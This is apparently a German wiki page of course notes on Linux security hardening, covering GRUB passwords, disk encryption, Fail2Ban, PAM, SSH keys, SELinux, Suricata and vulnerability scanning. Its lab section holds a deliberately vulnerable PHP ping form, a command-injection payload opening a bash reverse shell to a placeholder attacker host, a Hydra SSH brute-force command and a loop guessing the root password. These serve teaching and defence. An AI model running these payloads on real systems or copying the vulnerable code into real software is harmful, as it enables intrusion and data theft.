Informationssicherheit in Linux-Umgebungen
Zur Navigation springen
Zur Suche springen
Ausgangszustand
physischer Zugangsschutz
Bootzugriff absichern
- Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
- So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
- D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
- Anleitung zu Linux boot hacking
- Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
- Anleitung zum setzen eines Passworts für GRUB2
Festplatte verschlüsseln
- cryptsetup luksFormat /dev/sdXx
- cryptsetup open /dev/sdXx name
- cryptsetup close name
Brute Force Attacken
- Brute Force Attacken versuchen durch sich bei einem Dienst mit zufälligen Anmeldedaten zu authentifizieren ohne diese zu kennen
- Dafür werden entweder zufällig generierte oder häufig benutzte Benutzernamen / Passwörter versucht
- Eine populäre Software für solche Testzwecke mit Multithreading ist Hydra
- apt update
- apt install hydra
Passwordliste laden
Angriff starten
- hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh
SSH Daemon in Fail2Ban aktivieren
- vim /etc/fail2ban/jail.local
[sshd] enable = true #port = 2222
Fail2Ban
- Fail2Ban (Fehlschlag führt zu Ban) überprüft die Authentifikations-Logs nach fehlgeschlagenen Anmeldeversuchen
- Dienst, Zeit der Anmeldung und IP werden analysiert
- Wenn das Limit überschritten wird, erstellt Fail2Ban für einen Zeitraum eine Firewall-Regel, welche diese IP sperrt
Status checken
- fail2ban-client status sshd
Status for the jail: sshd |- Filter | |- Currently failed: 1 | |- Total failed: 14 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 1 |- Total banned: 1 `- Banned IP list: 10.0.1xx.2
- iptables -nvL
Alles unbannen
- fail2ban-client unban --all
PAM
- Mit dem Pluggable Authentication Module kann man bestimmte Passwortrichtlinien setzen, um das setzen von einfachen/wohlbekannten Passwörtern zu verhindern
- Sicherheitskopie der Konfigurationsdatei vor der Installation von Cracklib
- cp /etc/pam.d/common-password /root/
Cracklib
- apt install libpam-cracklib
- vim /etc/pam.d/common-password
... password requisite pam_cracklib.so retry=3 minlen=16 difok=3 ucredit=-1 lcredit=-2 dcredit=-2 ocredit=-2 ...
- retry=3 : Benutzer höchstens 3 Mal auffordern, bevor er mit einem Fehler zurückkehrt. Der Standardwert ist 1.
- minlen=16 : Die akzeptable Mindestgröße für das neue Passwort.
- difok=3 : Dieses Argument ändert den Standardwert von 5 für die Anzahl der Zeichenänderungen im neuen Passwort, die es vom alten Passwort unterscheiden.
- ucredit=-1 : Das neue Passwort muss mindestens 1 Großbuchstaben enthalten.
- lcredit=-2 : Das neue Passwort muss mindestens 2 Kleinbuchstaben enthalten.
- dcredit=-2 : Das neue Passwort muss mindestens 2 Ziffern enthalten.
- ocredit=-2 : Das neue Passwort muss mindestens 2 Zeichen enthalten.
Einrichten einer Passwortliste
- Der Name des Parameters dictpath ist ein wenig irreführend, da es nicht auf eine einzelne Datei zeigt, sondern auf 3 Dateien mit diesen Präfix
- vim /etc/pam.d/common-password
... password requisite pam_cracklib.so dictpath=/var/cache/cracklib/cracklib_dict ...
IP bei zu vielen Anfragen sperren
- Original: https://wiki.archlinux.org/title/Nftables#Dynamic_blackhole
- vim /etc/nftables.conf
table inet filter { set blackhole { type ipv4_addr; flags dynamic, timeout; size 65536; } chain input { ... ct state new tcp dport 22 \ meter flood size 128000 { ip saddr timeout 10s limit rate over 10/minute } \ add @blackhole { ip saddr timeout 1m } ip saddr @blackhole counter drop } ... }
SSH Keys
- Man sollte den Einsatz von Passwörtern vermeiden, wo es geht, da Menschen schlecht darin sind sich viele komplexe Passwörter zu merken, die sich genug unterscheiden
- Bei SSH haben wir die Möglichkeit uns mit einem privatem Schlüssel anzumelden
- vim /etc/ssh/sshd_config
Port 2222 AddressFamily inet PasswordAuthentication no UsePAM no
- Damit man nicht jedesmal den SSH-Schlüssel entsperren muss, sollte man SSH Agenten benutzen
Command Injection über eine Webanwendung
Laboraufbau
- apt install apache2 php-sqlite3 libapache2-mod-php
Schwachstelle im Code
- vim /var/www/html/command-injection.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "<pre> $output</pre>";
}
?>
</body>
</html>
</php>
Exploit
- Auf der Angreifermaschine:
- nc -p port
- In der Webanwendung:
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
- nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
- Von dieser Position aus kann man folgenderweise weitermachen:
- Backend Code des Servers auslesen
- Informationen aus den Datenbanken stehlen
- Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
- Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
- Informationen über verwendete Software-Versionen sammeln
Host Intrusion Detection System
- Wenn bestimmte Dateien auf unserem System verändert werden, kann es sich um einen potentiellen Hack handeln
- Wir wollen darüber informiert werden, welche Dateien es sind, damit wir danach entscheiden können ob es sich um eine erwartete Veränderung handelt oder nicht
- AIDE
- Tripwire
Apparmor
- AppArmor ist standardmäßig auf Debian-basierten Systemen installiert
- Es kontrolliert Prozesse und deren Zugriff auf Dateien (Mandatory Access Control vs. Discretionary Access Control)
- Die Handhabung ist etwas einfacher als SELinux, jedoch lässt sich der Netzwerkzugriff von Prozessen nicht feingradig kontrollieren
- Beispiel: AppArmor from scratch 2
SELinux
- Ein Benutzer versucht ein Programm aufzurufen.
- Dem Benutzer ist ein Benutzer Typ zugeordnet.
- Dem Pragamm ist ein Progamm Typ zugeordnet.
- SELinux checkt nun ob der Benutzer Typ das Programm anhand des Programm Typ aufrufen darf.
- Dann wird gecheckt ob der Benutzer Typ zu dem Prozess Typ transitieren darf.
- Wenn dies erlaubt ist transitiert der Benutzer Typ zum Prozess Typ.
- Der Prozess läuft dann mit den entsprechenden Rechten unter seinem Prozess Typ.
- Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
- SELinux unter Debian
- Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
- setenforce 0
- Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
- Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
- ausearch -m AVC -ts recent | audit2allow -M apache2-ping
- semodule -i apache2-ping.pp
- setenforce 1
- Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
- Die Verstöße kann man sich nochmal mit ausearch anzeigen lassen
- !!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html
OWASP Juice Shop
- Beispiel einer Webapplikation mit vielen (absichtlich) eingebauten Schwachstellen
- Soll das Vorgehen eines Hackers/Pentesters nachspielbar machen
- Erkunden der Webseite wie ein normaler Benutzer(auch als happy path bezeichnet)
- Untersuchen des HTML- und Javascript-Codes auf versteckte Informationen und auf die Funktionsweise der Webseite
- Injectionversuche über POST-Anfragen
- Request-Manipulation mit Burp
SQL Injection
- Angreifer bricht aus der normalen Anfrage der Webapplikation heraus und schafft es seine eigene Anfrage miteinzubetten
Cross Site Scripting
Burp
- Dieses Tool ermöglicht das Abfangen von individuellen HTTP-Anfragen des Browsers
- Diese können dann wie eine Textdatei bearbeitet und weitergesendet werden
- Intruder: vereinfacht Brute-Force Attacken
- Repeater: speichert spezielle Anfragen und hat vielseitige Anwendungen, z.B.
- Analyse spezieller Antworten des Servers
- Leichters Abändern einer Anfrage
- Reverse Engineering des Backends
Suricata
- Infrastruktur-Beispiel:
- Da Suricata über Deep Packet Inspect die Paketinhalte analysiert, darf der Verkehr nicht verschlüsselt sein
- Wir lösen das Problem hier über HAProxy, der verschlüsselt mit den Clients kommuniziert, aber unverschlüsselt mit den Servern
- Zusätzlich können wir nun theoretisch alle TLS Zertifikate über HAProxy terminieren lassen
- Außerdem gibt das uns die Möglichkeit Loadbalancing zu betreiben
- Erkennen von SQL Injection Tests
- vim /etc/suricata/rules/local.rules
alert http any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1"; sid:4;)
Schwachstellenerkennung/-scanning
nmap
Greenbone Security Manager
- Als root arbeiten: sudo su
- cd ~
- mkdir gvm
- cd gvm
- curl -f -L https://greenbone.github.io/docs/latest/_static/docker-compose-22.4.yml -o docker-compose.yml
- Container nicht im Daemon Modues starten, damit wir sehen können wann alle Updates in der Datenbank sind
- docker-compose up
Social Engineering
- Viele Hacks sind nicht nur eine technische Schwachstelle, sondern beinhalten auch eine soziale Komponente
Squid Proxy
- Ein transparenter Proxy erlaubt uns den HTTP/S Verkehr der Clients zu kontrollieren
- Wir können so einen gewissen Schutz vor Phishing Attacken und Virendownload bieten